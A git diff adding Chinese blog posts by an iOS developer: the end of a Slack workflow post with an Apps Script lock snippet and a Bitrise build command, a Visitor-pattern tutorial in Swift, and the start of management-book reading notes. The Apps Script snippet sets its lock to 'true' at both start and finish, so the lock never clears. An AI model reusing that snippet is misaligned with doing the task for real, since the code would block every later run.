+![](/assets/d61062833c1a/1*iECjTdwjrRgMswu9MQOMFA.png) + +- 目前沒有辦法用超連結連到 Shortcut 打開 Form +- Google Sheet App Script 防止重複執行: + + +如果要防止不小心在執行中又再次按到導致重複執行,可在 function 一開始加上: +```javascript +if (PropertiesService.getScriptProperties().getProperty('FUNCTIONNAME') == 'true') { + SpreadsheetApp.getUi().alert('忙碌中...請稍後再試'); + return; +} +PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true'); +``` + +Function 執行結束時加上: +```javascript +PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true'); +``` + +FUNCTIONNAME 取代為目標 Function 名稱。 + +用一個 Global 變數管制執行。 +### 與 iOS 開發相關的應用 + +可用來串 CI/CD,用 GUI 包裝原本醜醜的指令操作,例如搭配 Slack Bitrise APP,用 Slack Workflow form 組合啟動 Build 命令: + + +![](/assets/d61062833c1a/1*A6Yc9RKCHLEnCLEe591sTw.png) + + + +![](/assets/d61062833c1a/1*cPJ4JR5wVTZOSmuz635Nyg.png) + + +送出之後會發送指令到有 Bitrise APP 的 private channel,EX: +```bash +bitrise workflow:app_store|branch:develop|ENV[version]:4.32.0 +``` + + +![](/assets/d61062833c1a/1*hxyMW4y03udmyW0QXEuAFQ.png) + + +就能觸發 Bitrise 執行 CI/CD Flow。 +### 延伸閱讀 +- [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) +- [運用 Google Apps Script 轉發 Gmail 信件到 Slack](../d414bdbdb8c9/) +- [Crashlytics \+ Big Query 打造更即時便利的 Crash 追蹤工具](../e77b80cc6f89/) +- [Crashlytics \+ Google Analytics 自動查詢 App Crash\-Free Users Rate](../793cb8f89b72/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + +有自動化相關優化需求也歡迎 [發案給我](https://www.zhgchg.li/contact){:target="_blank"} ,謝謝。 + + + +_[Post](https://medium.com/zrealm-ios-dev/slack-%E6%89%93%E9%80%A0%E5%85%A8%E8%87%AA%E5%8B%95-wfh-%E5%93%A1%E5%B7%A5%E5%81%A5%E5%BA%B7%E7%8B%80%E6%B3%81%E5%9B%9E%E5%A0%B1%E7%B3%BB%E7%B5%B1-d61062833c1a){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-06-15-ba5773a7bfea.md b/_posts/zmediumtomarkdown/2021-06-15-ba5773a7bfea.md new file mode 100644 index 000000000..f081c239c --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-06-15-ba5773a7bfea.md @@ -0,0 +1,443 @@ +--- +title: "Visitor Pattern in iOS (Swift)" +author: "ZhgChgLi" +date: 2021-06-15T15:58:36.329+0000 +last_modified_at: 2024-04-13T16:45:55.172+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","swift","design-patterns","visitor-pattern","double-dispatch"] +description: "Design Pattern Visitor 在 iOS 開發的實際應用場景分析" +image: + path: /assets/ba5773a7bfea/1*Q1BLU8QHVBLEMx6KlMSHWQ.jpeg +render_with_liquid: false +--- + +### Visitor Pattern in Swift + +Design Pattern Visitor 的實際應用場景分析 + + + +![Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/ba5773a7bfea/1*Q1BLU8QHVBLEMx6KlMSHWQ.jpeg) + +Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +#### 前言 + +「Design Pattern」從知道有這個東西到現在也超過 10 年了依然沒辦法有自信的說能完全掌握,一直以來都是矇矇懂懂的,也好幾次從頭到尾把所有模式都看過一遍,但看了沒內化、沒在實務上應用很快就忘了。 + + +> _我真的廢。_ + + + + +#### 內功與招式 + +曾經看到的一個很好的比喻 ,招式部分如:PHP、Laravel、iOS、Swift、SwiftUI…之類的應用,其實在其中切換學習門檻都不算高;但內功部分如:演算法、資料結構、設計模式…等等都屬於內功;內功與招式之間有著相輔相成的效果;但是招式好學,內功難練;招式厲害的內功不一定厲害,內功厲害的也可以很快學會招式,所以與其說相輔相成不如說內功才是基礎,搭配招式才能所向披靡。 +#### 找到適合自己的學習方式 + +基於之前的學習經驗,我認為適合我自己的學習 Design Pattern 方式是 — 先精再通;先著重於精通幾個模式,要能內化跟靈活運用,還要培養出嗅覺,能判斷什麼場景適合什麼場景不適合;再一步一步的累積新模式,直到全部掌握;我覺得最好的方式就是多找實務場境,從應用中學習。 +#### 學習資源 + +推薦兩個免費的學習資源 +- [https://refactoringguru\.cn/](https://refactoringguru.cn/){:target="_blank"} :完整介紹所有模式結構、場景、相互關係 +- [https://shirazian\.wordpress\.com/2016/04/11/design\-patterns\-in\-swift/](https://shirazian.wordpress.com/2016/04/11/design-patterns-in-swift/){:target="_blank"} :作者以實際開發 iOS 的場景介紹更個模式的應用,本文也會以這個方向撰寫 + +### Visitor — Behavioral Patterns + +第一章紀錄的是 Visitor Pattern,這也是在街聲工作一年挖到的金礦之一,在 StreetVoice App 中有諸多善用 Visitor 解決架構問題的地方;我也在這段經歷之中席的了 Visitor 的原理精髓;所以第一章就來寫它! +#### Visitor 是什麼 + +首先請先了解 Visitor 是什麼?想要解決什麼問題?組成結構是什麼? + + +![圖片取自 [refactoringguru](https://refactoringguru.cn/design-patterns/visitor){:target="_blank"}](/assets/ba5773a7bfea/1*rbswlsges8_oS3pNI1-WKA.png) + +圖片取自 [refactoringguru](https://refactoringguru.cn/design-patterns/visitor){:target="_blank"} + +詳細內容這邊不再重複贅述,請先直接參考 [refactoringguru 對於 Visitor 的講解](https://refactoringguru.cn/design-patterns/visitor){:target="_blank"} 。 +### iOS 實務場景\(一\) + +假設今天我們有以下幾個 Model:UserModel、SongModel、PlaylistModel 這三個 Model,現在我們要實作分享功能,可以分享到:Facebook、Line、Instagram,這三個平台;每個 Model 需要呈現的分享訊息皆為不同、每個平台需要的資料也各有不同: + + +![](/assets/ba5773a7bfea/1*ad2ijo5Bvm9_wnM1g2LNog.png) + + +組合場景如上圖,第一個表格顯示各 Model 的客製化內容、第二個表格顯示各分享平台需要的資料。 + + +> **_尤其 Instagram 在分享 Playlist 時要多張圖片,跟其他分享要的 source 不一樣。_** + + + + +#### 定義 Model + +首先把各個 Model 有哪些 Property 定義完成: +```swift +// Model +struct UserModel { + let id: String + let name: String + let profileImageURLString: String +} + +struct SongModel { + let id: String + let name: String + let user: UserModel + let coverImageURLString: String +} + +struct PlaylistModel { + let id: String + let name: String + let user: UserModel + let songs: [SongModel] + let coverImageURLString: String +} + +// Data + +let user = UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png") + +let song = SongModel(id: "1", + name: "Wake me up", + user: user, + coverImageURLString: "https://zhgchg.li/cover/1.png") + +let playlist = PlaylistModel(id: "1", + name: "Avicii Tribute Concert", + user: user, + songs: [ + song, + SongModel(id: "2", name: "Waiting for love", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/3.png"), + SongModel(id: "3", name: "Lonely Together", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/1.png"), + SongModel(id: "4", name: "Heaven", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/4.png"), + SongModel(id: "5", name: "S.O.S", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/5.png")], + coverImageURLString: "https://zhgchg.li/playlist/1.png") +``` +#### 什麼都沒想的做法 + +完全不考慮架構,先上一個什麼都沒想的最髒做法。 + + +![周星馳 — 食神](/assets/ba5773a7bfea/1*5kBPDRNpaHNyW4u4YEsOGA.png) + +周星馳 — 食神 +```swift +class ShareManager { + private let title: String + private let urlString: String + private let imageURLStrings: [String] + + init(user: UserModel) { + self.title = "Hi 跟你分享一位很讚的藝人\(user.name)。" + self.urlString = "https://zhgchg.li/user/\(user.id)" + self.imageURLStrings = [user.profileImageURLString] + } + + init(song: SongModel) { + self.title = "Hi 與你分享剛剛聽到一首很讚的歌,\(song.user.name) 的 \(song.name)。" + self.urlString = "https://zhgchg.li/user/\(song.user.id)/song/\(song.id)" + self.imageURLStrings = [song.coverImageURLString] + } + + init(playlist: PlaylistModel) { + self.title = "Hi 這個歌單我聽個不停 \(playlist.name)。" + self.urlString = "https://zhgchg.li/user/\(playlist.user.id)/playlist/\(playlist.id)" + self.imageURLStrings = playlist.songs.map({ $0.coverImageURLString }) + } + + func shareToFacebook() { + // call Facebook share sdk... + print("Share to Facebook...") + print("[![\(self.title)](\(String(describing: self.imageURLStrings.first))](\(self.urlString))") + } + + func shareToInstagram() { + // call Instagram share sdk... + print("Share to Instagram...") + print(self.imageURLStrings.joined(separator: ",")) + } + + func shareToLine() { + // call Line share sdk... + print("Share to Line...") + print("[\(self.title)](\(self.urlString))") + } +} +``` + +沒啥好說的,就是 0 架構全攪和在一起,如果今天要新加一個分享平台、更改某個平台的分享資訊、增加一個可分享的 Model 都要動到 ShareManager;另外 imageURLStrings 的設計因是考量到 Instagram 在分享歌單時需要圖片組資料所以才宣告成陣列,這有點倒因為果變成照需求去設計架構,其他不需要圖片組的類型也遭到污染。 +#### 優化一下 + +稍微分離一下邏輯。 +```swift +protocol Shareable { + func getShareText() -> String + func getShareURLString() -> String + func getShareImageURLStrings() -> [String] +} + +extension UserModel: Shareable { + func getShareText() -> String { + return "Hi 跟你分享一位很讚的藝人\(self.name)。" + } + + func getShareURLString() -> String { + return "https://zhgchg.li/user/\(self.id)" + } + + func getShareImageURLStrings() -> [String] { + return [self.profileImageURLString] + } +} + +extension SongModel: Shareable { + func getShareText() -> String { + return "Hi 與你分享剛剛聽到一首很讚的歌,\(self.user.name) 的 \(self.name)。" + } + + func getShareURLString() -> String { + return "https://zhgchg.li/user/\(self.user.id)/song/\(self.id)" + } + + func getShareImageURLStrings() -> [String] { + return [self.coverImageURLString] + } +} + +extension PlaylistModel: Shareable { + func getShareText() -> String { + return "Hi 這個歌單我聽個不停 \(self.name)。" + } + + func getShareURLString() -> String { + return "https://zhgchg.li/user/\(self.user.id)/playlist/\(self.id)" + } + + func getShareImageURLStrings() -> [String] { + return [self.coverImageURLString] + } +} + +protocol ShareManagerProtocol { + var model: Shareable { get } + init(model: Shareable) + func share() +} + +class FacebookShare: ShareManagerProtocol { + let model: Shareable + + required init(model: Shareable) { + self.model = model + } + + func share() { + // call Facebook share sdk... + print("Share to Facebook...") + print("[![\(model.getShareText())](\(String(describing: model.getShareImageURLStrings().first))](\(model.getShareURLString())") + } +} + +class InstagramShare: ShareManagerProtocol { + let model: Shareable + + required init(model: Shareable) { + self.model = model + } + + func share() { + // call Instagram share sdk... + print("Share to Instagram...") + print(model.getShareImageURLStrings().joined(separator: ",")) + } +} + +class LineShare: ShareManagerProtocol { + let model: Shareable + + required init(model: Shareable) { + self.model = model + } + + func share() { + // call Line share sdk... + print("Share to Line...") + print("[\(model.getShareText())](\(model.getShareURLString())") + } +} +``` + +我們抽離出一個 CanShare Protocol,凡是 Model 有遵循這個協議都能支援分享;分享的部分也抽離出 ShareManagerProtocol,有新的分享只要實現協議內容即可、要修改刪除也都不會影響其他 ShareManager。 + +但 getShareImageURLStrings 依然詭異,另外假設今天新增的分享平台需求的 Model 資料天壤之別,例如微信分享還需要播放次數、創建日期…等資訊,只有他要,這時候就會開始變得混亂。 +#### Visitor + +使用 Visitor Pattern 的解法。 +```swift +// Visitor Version +protocol Shareable { + func accept(visitor: SharePolicy) +} + +extension UserModel: Shareable { + func accept(visitor: SharePolicy) { + visitor.visit(model: self) + } +} + +extension SongModel: Shareable { + func accept(visitor: SharePolicy) { + visitor.visit(model: self) + } +} + +extension PlaylistModel: Shareable { + func accept(visitor: SharePolicy) { + visitor.visit(model: self) + } +} + +protocol SharePolicy { + func visit(model: UserModel) + func visit(model: SongModel) + func visit(model: PlaylistModel) +} + +class ShareToFacebookVisitor: SharePolicy { + func visit(model: UserModel) { + // call Facebook share sdk... + print("Share to Facebook...") + print("[![Hi 跟你分享一位很讚的藝人\(model.name)。](\(model.profileImageURLString)](https://zhgchg.li/user/\(model.id)") + } + + func visit(model: SongModel) { + // call Facebook share sdk... + print("Share to Facebook...") + print("[![Hi 與你分享剛剛聽到一首很讚的歌,\(model.user.name) 的 \(model.name),他被播方式。](\(model.coverImageURLString))](https://zhgchg.li/user/\(model.user.id)/song/\(model.id)") + } + + func visit(model: PlaylistModel) { + // call Facebook share sdk... + print("Share to Facebook...") + print("[![Hi 這個歌單我聽個不停 \(model.name)。](\(model.coverImageURLString))](https://zhgchg.li/user/\(model.user.id)/playlist/\(model.id)") + } +} + +class ShareToLineVisitor: SharePolicy { + func visit(model: UserModel) { + // call Line share sdk... + print("Share to Line...") + print("[Hi 跟你分享一位很讚的藝人\(model.name)。](https://zhgchg.li/user/\(model.id)") + } + + func visit(model: SongModel) { + // call Line share sdk... + print("Share to Line...") + print("[Hi 與你分享剛剛聽到一首很讚的歌,\(model.user.name) 的 \(model.name),他被播方式。]](https://zhgchg.li/user/\(model.user.id)/song/\(model.id)") + } + + func visit(model: PlaylistModel) { + // call Line share sdk... + print("Share to Line...") + print("[Hi 這個歌單我聽個不停 \(model.name)。](https://zhgchg.li/user/\(model.user.id)/playlist/\(model.id)") + } +} + +class ShareToInstagramVisitor: SharePolicy { + func visit(model: UserModel) { + // call Instagram share sdk... + print("Share to Instagram...") + print(model.profileImageURLString) + } + + func visit(model: SongModel) { + // call Instagram share sdk... + print("Share to Instagram...") + print(model.coverImageURLString) + } + + func visit(model: PlaylistModel) { + // call Instagram share sdk... + print("Share to Instagram...") + print(model.songs.map({ $0.coverImageURLString }).joined(separator: ",")) + } +} + +// Use case +let shareToInstagramVisitor = ShareToInstagramVisitor() +user.accept(visitor: shareToInstagramVisitor) +playlist.accept(visitor: shareToInstagramVisitor) +``` + +我們逐行來看做了什麼: +- 首先我們創建了一個 Shareable 的 Protocol,其目的只是方便我們管理 Model 支援分享 Visitor 有統一的接口 \(不定義也行\)。 +- UserModel/SongModel/PlaylistModel 實現 Shareable `func accept(visitor: SharePolicy)` ,之後如果有新增支援分享的 Model 也只需實現協議 +- 定義出 SharePolicy 列出所支援的 Model +`(must be concrete type)` 或許你會想為何不定義成 `visit(model: Shareable)` 如果是這樣就重蹈上一版的問題了 +- 各個 Share 方法實現 SharePolicy,各自依照 source 去組合需要的資源 +- 假設今天多一個微信分享,他要的資料比較特別\(播放次數、創建日期\),也不會影響現有程式碼,因為他能從 concrete model 拿到他自己需要的資訊。 + + +達成低耦合、高聚合的程式開發目標。 + +以上是經典的 [Visitor Double Dispatch](https://refactoringguru.cn/design-patterns/visitor-double-dispatch){:target="_blank"} 實現,但我們日常開發上比較少會遇到這種狀況,一般常見的狀況可能只會有一個 Visitor,但我覺得也很適合使用這套模式組合,例如今天有一個 SaveToCoreData 的需求,我們也可以直接定義 `accept(visitor: SaveToCoreDataVisitor)` ,不多宣告出 Policy Protocol,也是個很好的使用架構。 +```swift +protocol Saveable { + func accept(visitor: SaveToCoreDataVisitor) +} + +class SaveToCoreDataVisitor { + func visit(model: UserModel) { + // map UserModel to coredata + } + + func visit(model: SongModel) { + // map SongModel to coredata + } + + func visit(model: PlaylistModel) { + // map PlaylistModel to coredata + } +} +``` + +其他應用:Save、Like、tableview/collectionview cellforrow…\. +### 原則 + +最後講一下一些共通原則 +- Code 是給人讀的,切勿 Over Designed +- 統一很重要,同樣的場境同個 Codebase 應該使用同個架構方法 +- 如果範圍是可控的或不可能出現其他狀況,這時候如果還繼續往下拆分就可以認為是 Over Designed +- 多應用、少發明;Design Pattern 已經在軟體設計領域好幾十年,他所考量到的場景一定比我們創造一個新的架構還來的完善 +- 看不懂 Design Pattern 可以學,但如果是自己創造的架構就比較難說服別人學,因為學了可能也只能用在這個 Case 上,他就不是一個 Common sense +- 程式碼重複不代表不好,如果一昧追求封裝可能導致 Over Designed;一樣回到前面幾點,程式是給人讀的,所以只要是好讀加上低耦合高聚合都是好的 Code +- 勿魔改 Pattern,人家設計一定有他的道理,如果亂魔改可能導致某些場景出現問題 +- 只要開始繞路就會越繞越遠,程式會越來越髒 + + + +> _inspired by [@saiday](https://twitter.com/saiday){:target="_blank"}_ + + + + +#### 延伸閱讀 +- [Design Patterns in Swift: Visitor](https://shirazian.wordpress.com/2016/04/22/design-patterns-in-swift-visitor/){:target="_blank"} +\(另一個使用 Visitor 的場景應用\) +- [https://github\.com/kingreza/Swift\-Visitor](https://github.com/kingreza/Swift-Visitor){:target="_blank"} +- [Deep Linking at Scale on iOS](https://medium.com/@albertodebo/deep-linking-at-scale-on-ios-1dd8789c389f){:target="_blank"} \(State Pattern\) + +#### 下一章 +- [Design Patterns 的實戰應用紀錄](../78507a8de6a5/) \(2022\) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/visitor-pattern-in-ios-swift-ba5773a7bfea){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-07-25-1c9eafd4a190.md b/_posts/zmediumtomarkdown/2021-07-25-1c9eafd4a190.md new file mode 100644 index 000000000..c104efba5 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-07-25-1c9eafd4a190.md @@ -0,0 +1,430 @@ +--- +title: "Leading Snowflakes 閱讀筆記" +author: "ZhgChgLi" +date: 2021-07-25T07:44:20.287+0000 +last_modified_at: 2023-08-05T16:39:08.522+0000 +categories: "" +tags: ["management","leadership","engineering","管理學","工程師"] +description: "“Leading Snowflakes The Engineering Manager Handbook” —  Oren Ellenbogen" +image: + path: /assets/1c9eafd4a190/1*yJCwDuo9tMhDD_sSoCSNqA.png +render_with_liquid: false +--- + +### Leading Snowflakes — 閱讀筆記 + +“Leading Snowflakes The Engineering Manager Handbook” — Oren Ellenbogen + + + +![](/assets/1c9eafd4a190/1*yJCwDuo9tMhDD_sSoCSNqA.png) + + +管理職,初來乍到,一切都很迷茫;對於管理的知識只有彙整之前的工作經驗、觀察或與其他同事閒聊時獲得,知道主管做了什麼事底下的人是正面的、什麼事是負面的;也就大概只有這些經驗想法,知識是破碎的,沒有一個有系統理念,於是我開始看書,開始記錄一下每個作者的經驗;如果遇到相同的事物,有了「知識底氣」之後就不會在手忙腳亂了。 +### Leading Snowflakes +- 語言:英文 +- 作者:Oren Ellenbogen +- 出版年份:2013 +- [官方網站](https://leadingsnowflakes.com/){:target="_blank"} +- 感謝 [海總理](https://twitter.com/tzangms){:target="_blank"} 推薦 + + +作者在過去近 20 年的工作經歷中,從原本的軟體工程師一步步踏入管理職;擔任過不管是大公司或新創公司之 Technical Lead、Engineering Manager;本書詳細點出從工程師踏入管理職時會遇到的瓶頸及該用什麼方法整理、解決。 + +我覺得與我的背景非常相似,都是本來做軟體開發,初探管理職;藉由書中提到的重點讓我學到很多可以怎麼做的方法! + + +> _\- 本文僅為個人筆記夾雜些許個人觀點,在這資訊碎片化的年代,強烈建議要自行閱讀過原文書,才能有系統的吸收精髓。_ + + +> _\- 筆記的意義是之後回頭來看,比較容易快速定位到想複習的點。_ + + +> _\- 部分內容直接摘錄原文。_ + + + + +### Lesson 1\. — Switch between “Manager” and “Maker” modes + +從工程師\(Maker\)到管理者\(Manager\)的過渡。 + +完成好任務甚至優雅地解決難題是優秀的工程師的衡量標準,但做為管理者以不是用完成任務的能力來衡量,這部分我們已經證明過了,而是以帶領、推動、提升能力的團隊目標作為評斷標準。 + +但也不能完全將自己從任務中抽離,完全與任務細節抽量導致與團隊成員斷開連結,對於執行成果、優先權、信任方面長期來看會有很大的風險。 + +所以不是說當管理者就不用做工程師的事,而是兩邊都要碰,需要的就在 工程師\(Maker\) 跟 管理者\(Manager\) 之中取得平衡。 + +做為工程師時我們喜歡有連續不被打斷的時間讓我們保持在 Context 中去解決困難的問題;但做為管理者時,我們需要的是時常跳出來幫助團隊、關心隊友,所以被打斷其實是管理者的工作之一。 +#### 但我們同時需要身兼工程師和管理者,那該如何是好? + +作者建議建立兩個 Calendar ,一個是 as Maker \(工程師\)、一個是 as Manager \(管理者\),然後每日一大早給自己 15 – 30 分鐘整理思緒,安排本日行事曆,該做什麼事、有什麼會、有哪些空檔的連續時間點可以拿來解決任務\(as Maker\)。 + + +![作者的行事曆範本](/assets/1c9eafd4a190/1*7772qy7BVUCPa4LbvLGv6g.png) + +作者的行事曆範本 +#### 我們也需要專心的時間 + +作者所述,現在身為管理者,但我們仍需同時處理任務;可利用的空檔專注時間對我們來說比以前更重要。 + +作者提到,可以在需要專心的時間透過一些動作傳達給隊友,暫時不要打擾我! + +方法有:到會議室、戴上耳機、或甚至買一個 ON AIR \! 的開關燈放桌上。 + +如果不是緊急問題,可以先請隊友留言或彙整資訊寄信給你,等到專心時間結束後再來處理。 +#### 評估自己做為工程師的時間能解決的任務 + +因為已經不像以前純當工程師\(Maker\)的時候可以全心全力灌注在開發需求上,所以要依照工程師行事曆所能運用的時間來選擇能親自執行的任務。 + +不要成為團隊的技術瓶頸,我們的任務是提升團隊能力、探索新技術、提升公司對外或隊內的技術視野;可做的事有預先研究技術問題,然後與隊友分享並交由隊友執行、解決公司技術債、流程問題增加開發效率、使用新技術、將公司技術開源、開放 API、對外黑客松…等等。 +#### 最重要的還是平衡 + +作者建議可以從 15–20% 比例開始調配,本來是 100% as Maker,現在可能是 20% as Maker / 80% as Manager(但這要看實際團隊大小及成員能力,作者也說 50% / 50% 也有可能),就是不能在是 100% 投入工程開發,要多花心力在管理上。 +#### 善用 1:1 + +定期與隊友 1:1,互相 Feedback 並分享所學到的東西。 +#### 如果管理者的任務吃掉你所有時間 + +作者最後提到,如果你管理的任務太多完全無法做工程 \(as Maker\)的事,與任務、技術脫節時,可以考慮每週選幾天 WFH 與公司隔離或參加黑客松。 +### Lesson 2\. — Code Review” Your Management Decisions + +定期 Review 你身為管理者下的決策。 + +身為工程師時我們有很多方法或工具,只要遵循就能提升好能力,諸如 pair programming、code review、design pattern;但做為管理者,尤其菜鳥我們感到相當孤獨。 + +我們不想承認對上或對下一無所知、害怕為團隊成功負責也擔心沒拿捏好技術\(債\)與商業需求之間的平衡。 + +作者提到要跨出去尋找提升管理能力的,公開徵求 Feedback & 提高管理技能的方法;做管理者時也能像做工程師時的熱情。 +#### 記錄&回頭審查決定 + +同事與老闆都是我們很常低估的強大資源,我們可以快速的從同事與老闆的 Feedback 中學習;建立好紀錄&回頭審查決定的習慣,可以讓我們更好的得到 Feedback。 + +作者提到: + + +> 「There is no one right way, there are only tradeoffs\.」 + + + + +我想也是,如果不是進退兩難的問題應該也不會問你;如果問你就代表隊友不知道該如何決定。 + +我們可以列出選項並提供決定給隊友,但與此同時也要記下所做的決定。 + + +![作者提供的紀錄 Sheet 範本](/assets/1c9eafd4a190/1*ckCF-uBpxAjNzbUTdvMhBA.png) + +作者提供的紀錄 Sheet 範本 + +養成紀錄的習慣,並且要確保內容是之後能回憶的。 + +作者建議,每個月回頭審查,可以與老闆或其他管理者或其他同事分享討論決策(至少要分享一半的問題),聽聽別人的看法;可以匿名保護當事者,對事不對人,並記錄下來。 +#### 回頭審查時的要點 + +**關於問題:** +- 引起多少技術問題? +- 是個人問題? +- 只是某個成員的獨立問題?(是不是單純只是他不了解目標?) +- 這問題在其他團隊或會重複出現嗎? + + +**關於決策:** +- 這問題真的需要管理者來決定嗎 +- 有沒有問過隊友的建議 +- 有沒有其他比較有經驗的人能提供建議 +- 現在重新思考,還會是同個決定嗎? + +### Lesson 3\. — Confront and challenge your teammates + +推動隊友跳脫舒適圈以及不讓自己變成混蛋跟陷入陷阱。 + +作者提到一開始很不習慣,因為本來是朋友的同事現在變成部署;他害怕會傷害本來的關係;所以一昧地承擔所有收尾的事,但最後他發現他越是保護越與隊友距離越遠,因為他一而再的埋頭苦幹,少了分享讓隊友失去信念。 + +回頭來看,作者說與其害怕傷害隊友的感覺不如說出內心真實所想的,「害怕傷害隊友」這單純是自己自私的想像,沒有必要;而且這是身為管理者的責任,帶領團隊成長前進;要遠觀大局、控制風險。 + +分享真實想法對雙方都很難,但這是身為管理者的責任。 + + +[![同理心(Empathy) vs 同情心(Sympathy)](/assets/1c9eafd4a190/b618_hqdefault.jpg "同理心(Empathy) vs 同情心(Sympathy)")](https://www.youtube.com/watch?v=3kgKanOYSsU){:target="_blank"} + + +我們要展現同理心而不是同情心,為了讓他們的工作真正出類拔萃,他們需要我們客觀的意見。 + +**作者提供以下三個要項讓我們能在情緒與行爲中做出平衡:** +1. 我有展現出同理心嗎? +2. 我有清楚說明我的期待嗎? +3. 我有以身作則嗎? + + + +> 「If you want to achieve anything in this world, you have to get used to the idea that not everyone will like you\.」 + + + + + +> 如果你想要有所成就,就必須習慣不會每個人都喜歡你的想法 + + + + +**四個常見的陷阱:** +1. 相較於掩蓋,我有公開分享失敗經驗嗎?(可以是寫文章、寄信給所有人) +2. 忘記統整討論結果(要習慣紀錄 1:1、討論的結果) +3. 使用錯誤的 Feedback 媒介,沒得到真正的問題(依照團隊文化找到適合的 Feedback 渠道,EX: 1:1) +4. 不即時的 Feedback +我們需要注意,工程師喜歡挑戰自我、提升技能,同時也想要獲得尊重、主管的 Feedback;我們的任務就是帶領團隊成長,所以在每次有 Feedback 機會時不應該拖延,因為不做決定也等同於做決定;而且一旦 Feedback 的風氣衰弱之後要再點燃就更困難。 + + +**Summary** + +可以花時間寫下激勵隊友的方法及詢問主管是否太保護隊友? +### Lesson 4\. — Teach how to get things done + +如何以風險較低的方式完成任務。 + +以身作則是不錯的方法,時不時參與團隊的開發示範如何計畫、產出好的功能展現我們想傳達的理念;另外要注意,在這其中要多説 Why? \(為何這樣做\)、少說 How? \(該怎麼做\) + +作者提到極度透明的文化,讓團隊成員有完整的 Context 能提高推動決策的能力。 + +**降低風險** +1. 為了降低產出的風險,作者建議將需求拆成許多小塊迭代功能;並將此想法與其他 Team 溝通分享。 +2. Scale and performance — always have a backup plan +這功能會不會影響效能\(或造成其他問題\)?可以提前知道嗎?有沒有備案\(開關\);在沒有備案之前寧可不要實作,因為會影響團隊信心。 +3. 將任務拆解成小任務,降低 Deadline 風險 +一開始可能很難,但可以訓練學習 +4. 善用同儕壓力 +將任務拆給隊友共同協作,彼此共同努力\(Code Review 亦也是\) +5. 持續對內及對外溝通 +對內:確保期望、同步、Deadline、資源,對外:溝通、如果時間很趕了可推掉不重要會議 +6. 支援、修 Bug、文件 +不是釋出功能就好,還要做好客服支援、修 Bug、還有文件 +7. 做好回顧及委派任務,提供其他人領導機會 +8. 挑選幾個能以身作則的 Task +9. 詢問隊友學到的東西、能讓他更積極的動機、討厭的事 + +### Lesson 5\. — Delegate tasks without losing quality or visibility + +委派任務的同時又不喪失品質跟能見度。 + +身為管理者必須做好任務委派,作者認為委派就該設定好期待並相信被指派的隊友有能力執行並是有機會學到東西及保有發生錯誤的空間,管理者另一方面也要保護隊友來自公司的壓力。 + +作者使用以下表格進行記錄: + + +![](/assets/1c9eafd4a190/1*7trny5YJAnmgr6AMxqsduw.png) + + +這邊主要紀錄的是對團隊目標重要的任務,日常工作不用紀錄。 +- Must 寫下任務內容 + + +對於是否要將任務委派給隊友,作者會先問這個任務是否真的只有我能做且是屬於管理者該做的事,第二個是這個任務是否是長遠的領導任務;如果都不是則委派隊友執行。 + +對於要委派的任務可評估隊友的經驗、技能,找到合適的人選。 +- External 關於外部或上面期待的資源 \(Feedback/Tool\) +- Delegate + + +Delegate 的部分,我們可以提供一頁的 Paper 闡述我們的期待、簡單的範例。 +### Lesson 6\. — Build trust with other teams in the organization + +團隊與團隊兼協作的默契。 + +作者闡述,組織為了能做更多事會拆分很多小組進行快速決策處理;對於各小組的方向定義其實不難\(EX: iOS 就是做 iOS App\),難的是要對齊所有小組的目標。 + +小組越多就很難統一所有人的價值觀、期望、優先權、隱含的期望。 + +應該要關注拆分小組的理由跟動機而非產出,否則可能導致矛盾。 + +**作者認為要對齊各小組的方向有以下方法:** +1. 團隊要有願景,而不是只把任務處理好 +2. 管理者需要區分出需要與想要 +3. 優化團隊更快的完成正確的事而不是完成更多的事 +4. 與其他團隊經理建立良好的溝通 +作者建議可以在每兩週的管理者會議分享團隊內的狀態、分享自己團隊阻礙與痛苦、接下來會做的主要任務、做的原因 +5. 與其他團隊對於優先權意見不同時,可解釋引出其他因素(EX: 這個做了之後,可以降低 CS 客訴、一勞永逸、加乘效果…) +6. 先了解外部團隊需要我們幫忙的地方並且主動密切追蹤 +7. 再來提出我們團隊需要外部團隊幫忙的點 +8. 列好需要確認的清單,確保在會議上有討論到;如果沒有可以在會後拉相關的經理討論看有沒有其他可能 +9. 若不可能則要權衡可能會延遲時間或替代方案,並要讓關係人知道(防止在背後指指點點) +10. 一切都是權衡 + + +**另外還有 5 個讓隊友能與其他團隊建立密切關係的方法:** +- 簡單的感謝信(感謝協助) +- 交換團隊工作 +- 內部技術年會,互相分享 +- 一起觀察使用者使用狀況,一起腦力激盪提出優化方向 +- 邀請一位其他 Team 的隊友加入我們的工作 + + +**Summary** + + +> 「 imagine that someone from Team A drops a feature that Team B needs, due to an urgent support issue\. Without communicating this priority change to Team B, trust will be decreased even if it’s a justified priority change\.」 + + + + + +「 [difference between transactional trust and relational/emotional 